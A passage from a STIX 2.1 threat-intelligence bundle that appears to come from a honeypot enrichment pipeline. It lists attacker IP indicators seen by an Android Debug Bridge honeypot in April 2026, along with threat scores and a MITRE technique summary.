      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.224.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T22:00:02.000Z",
      "valid_until": "2026-06-01T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 22,
          "first_seen": "2026-04-30T21:09:46.000Z",
          "last_seen": "2026-04-30T21:20:19.454Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9009"
          ],
          "org": [
            "M247 Europe SRL"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "type": "identity",
      "spec_version": "2.1",
      "id": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "created": "2026-04-30T23:35:48Z",
      "modified": "2026-04-30T23:35:48Z",
      "name": "NadSec",
      "identity_class": "organization",
      "description": "NadSec threat intel generated from T-Pot CE honeypot telemetry and enrichment pipeline.",
      "contact_information": "https://nadsec.online"
    },
    {
      "type": "marking-definition",
      "spec_version": "2.1",
      "id": "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22",
      "created": "2026-04-30T23:35:48Z",
      "definition_type": "tlp",
      "definition": {
        "tlp": "green"
      }
    }
  ],
  "spec_version": "2.1",
  "type": "bundle",
  "x_nadsec_enrichment": {
    "sensor": "adbhoney",
    "month": "2026-04",
    "enriched_at": "2026-04-30T23:35:52Z",
    "ipv4_enriched": 646,
    "ipv4_missing_in_es": 0,
    "sha256_enriched": 66
  },
  "x_mitre_attack": {
    "techniques": {
      "T1437.001": {
        "name": "Application Layer Protocol: Web Protocols",
        "tactic": "Command and Control",
        "ip_count": 698,
        "sample_sources": []
      }
    },
    "tactic_summary": {
      "Command and Control": 698
    },
    "technique_count": 1,
    "primary_tactics": [
      "Command and Control"
    ]
  },
  "x_nadsec_threat_summary": {
    "total_ips": 698,
    "scored_ips": 698,
    "threat_distribution": {
      "critical": 130,
      "high": 146,
      "medium": 55,
      "low": 70,
      "minimal": 297,
      "unknown": 0
    },
    "avg_threat_score": 41.6,
    "max_threat_score": 100,
    "top_threats": [
      {
        "ip": "185.224.128.16",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "185.93.89.190",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "185.93.89.191",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "185.93.89.192",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "185.93.89.193",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "193.32.162.28",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "37.60.241.154",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "45.205.1.8",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "5.187.35.142",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "5.187.35.26",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "80.66.83.43",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.11.183.21",
        "threat_score": 100,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "104.243.34.165",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "195.178.110.204",
        "threat_score": 99.2,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "160.119.76.200",
        "threat_score": 98.3,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "85.11.183.23",
        "threat_score": 98.3,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "194.164.107.6",
        "threat_score": 97.3,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.20.67",
        "threat_score": 97.3,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.20.66",
        "threat_score": 96.9,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      },
      {
        "ip": "65.49.20.68",
        "threat_score": 96.9,
        "threat_level": "critical",
        "total_events": 0,
        "country": null,
        "org": null
      }
    ]
  }
}